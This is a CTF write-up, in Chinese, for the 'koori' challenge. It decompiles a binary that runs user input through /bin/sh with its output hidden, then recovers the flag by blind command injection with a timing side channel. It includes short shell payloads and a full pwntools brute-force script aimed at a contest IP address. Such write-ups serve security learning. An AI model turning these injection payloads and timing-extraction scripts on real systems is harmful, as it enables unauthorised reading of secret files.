OlympicsCTF - koori
0x01 程序分析
使用ghidra反汇编:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */
undefined8 FUN_0010108c(void)
{
int iVar1;
size_t sVar2;
undefined1 auStack_130 [24];
char acStack_118 [256];
long local_18;
local_18 = ___stack_chk_guard;
setbuf(_stdout,(char *)0x0);
setbuf(_stdin,(char *)0x0);
FUNC_1(auStack_130);
printf("Please send your input :) ");
fgets(acStack_118,0x100,_stdin);
sVar2 = strcspn(acStack_118,"\n");
acStack_118[sVar2] = '\0';
sVar2 = strlen(acStack_118);
if (0x20 < sVar2) {
puts("Sorry, your input is too lengthy :|");
/* WARNING: Subroutine does not return */
exit(1);
}
FUNC_2(auStack_130);
iVar1 = get_and_exec(acStack_118,0xe);
if (iVar1 != 0) {
puts("The input timed out :(");
}
FUNC_3(auStack_130);
puts("Your input has been validated :D");
if (local_18 - ___stack_chk_guard != 0) {
/* WARNING: Subroutine does not return */
__stack_chk_fail(&__stack_chk_guard,0,0,local_18 - ___stack_chk_guard);
}
return 0;
}
- FUNC_1
1 2 3 4 5 6 7 8 9 10 11 12 13
void FUNC_1(long param_1) { int iVar1; int local_4; for (local_4 = 0; local_4 < 3; local_4 = local_4 + 1) { iVar1 = open("/dev/null",2); *(int *)(param_1 + (long)local_4 * 4) = iVar1; iVar1 = dup(local_4); *(int *)(param_1 + (long)local_4 * 4 + 0xc) = iVar1; } return; }
创建了一个大小为6的 fd array, 其中前3项都指向
/dev/null, 后三项用来保存原来的 STDIN, STDOUT, STDERR. - FUNC_2
1 2 3 4 5 6 7 8 9
void FUNC_2(long param_1) { undefined4 local_4; for (local_4 = 0; local_4 < 3; local_4 = local_4 + 1) { dup2(*(int *)(param_1 + (long)local_4 * 4),local_4); } return; }
STDIN, STDOUT, STDERR被重定向到数组的前三项,也就是都重定向到/dev/null, 这会导致用户的输入无效,而程序的输出也不可见。这发生在用户输入指令之后。
- FUNC_3
1 2 3 4 5 6 7 8 9 10 11
void FUNC_3(long param_1) { undefined4 local_4; for (local_4 = 0; local_4 < 3; local_4 = local_4 + 1) { dup2(*(int *)(param_1 + (long)local_4 * 4 + 0xc),local_4); close(*(int *)(param_1 + (long)local_4 * 4)); close(*(int *)(param_1 + (long)local_4 * 4 + 0xc)); } return; }
恢复标准IO,发生在执行完成后
接着查看核心函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */
undefined8 get_and_exec(undefined8 param_1,int param_2)
{
__pid_t _Var1;
undefined8 uVar2;
time_t __time1;
double dVar3;
uint local_28;
__pid_t local_24;
time_t local_20;
long local_18;
local_18 = ___stack_chk_guard;
local_24 = fork();
if (local_24 == 0) {
execl("/bin/sh","sh",&DAT_001011e8,param_1,0);
perror("Failed :(");
/* WARNING: Subroutine does not return */
exit(1);
}
if (local_24 < 0) {
perror("ERR :|");
uVar2 = 0xffffffff;
}
else {
local_20 = time((time_t *)0x0);
while (_Var1 = waitpid(local_24,(int *)&local_28,1), _Var1 == 0) {
__time1 = time((time_t *)0x0);
dVar3 = difftime(__time1,local_20);
if ((double)param_2 < dVar3) {
kill(local_24,9);
waitpid(local_24,(int *)0x0,0);
uVar2 = 0xffffffff;
goto LAB_00101058;
}
sleep(1);
}
if ((local_28 & 0x7f) == 0) {
uVar2 = 0;
}
else {
uVar2 = 0xffffffff;
}
}
LAB_00101058:
if (local_18 - ___stack_chk_guard != 0) {
/* WARNING: Subroutine does not return */
__stack_chk_fail(&__stack_chk_guard,uVar2,0,local_18 - ___stack_chk_guard);
}
return uVar2;
}
fork出子进程,使用waitpid等待并计时,超过15秒就kill
0x02 构造侧信道攻击
sleep
我们可以注入大小不超过32的命令,但是唯一的限制是标准IO都被重定向到了/dev/null,导致无法看到任何程序输出。
第一反应是,能不能突破IO的限制,恢复输出呢?但是不行,因为恢复IO都发生在get_and_exec执行完成后,也就意味着我们所有的子进程都退出了。那么我们能不能残留一些新的进程,一直撑到恢复IO呢?很遗憾,当父进程被kill时,通常没有子进程能够逃脱。
既然这样,我们能不能在看不到输入的情况下获得flag呢? 或者,把目标定的小一点,泄漏flag一些信息,然后把他们拼凑起来?
我突然想到一个搞web的朋友曾经给我分享的一段经历,通过网站的响应速度来侧信道攻击。再看看这一题,主进程对子进程会进行等待,或许可以利用sleep的秒数来分析?
但这面临着多个问题,sleep的结果最多只能区分15种信息,如果想要直接获得某个字符、将Ascii转成数值、一次次地减去base后取模,效率实在是太低了。更要命的是,32个字符的命令限制看上去根本不可能满足。
yes
思考了很久都始终不能突破命令长度限制,直到我无意间了解到 yes 这个命令,它的功能非常纯粹,循环输出yes。看上去是个绝佳的工具,我开始转换思路,不使用sleep来泄漏信息,而是使用表达式连接yes.(另外注意到开启的shell是 /bin/sh, 意味着不能使用一些bash中的高级功能)
第一步是确认flag的具体名字:
1
2
3
4
[ -e flag ]&&yes
# 立刻返回
[ -e flag.txt]&&yes
# 卡住,证明文件名是./flag.txt
第二步是确认flag的长度:
1
2
[ $(wc -c <flag) \= 22 ]&&yes
# 长度为22
最后是使用二分法爆破,但是目前的版本:
1
[ $(cut -b13 flag.txt) \< '{char}' ]&&yes
长度还是超过限制了,还能不能继续压缩呢? 其中文件名flag.txt占用了很多位置,尝试使用正则表达式f*来替换,得到最终的程式:
1
[ $(cut -b13 f*) \< '{char}' ]&&yes
0x03 爆破脚本
经过实验,远程连接用4s有无响应作为判断标准比较稳妥
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from datetime import datetime
flag_list = []
def probe_char(index, minval, maxval):
if maxval - minval <= 1:
return chr(minval)
p = remote('65.109.210.228', 31333)
mid = (minval+maxval)//2
char = chr(mid)
p.recvuntil(b':) ')
payload = ('[ $(cut -b{index} f*) \\< \'{char}\' ]&&yes'.format(index=index, char=char)).encode()
print(payload.decode())
p.sendline(payload)
start = datetime.now()
data = p.recv(timeout=5)
end = datetime.now()
p.close()
if (end-start).total_seconds() >= 4:
# < mid
print('<',mid, char)
return probe_char(index, minval, mid)
else:
# >= mid
print('>=',mid, char)
return probe_char(index, mid, maxval)
for i in range(0, 22):
x = probe_char(i, 0x20, 0x7E)
flag_list.append(x)
print('Tmp Result', x)
print(''.join(flag_list))
运行后获得:
1
ASIS{bl!nD_3XeCuTi0n!}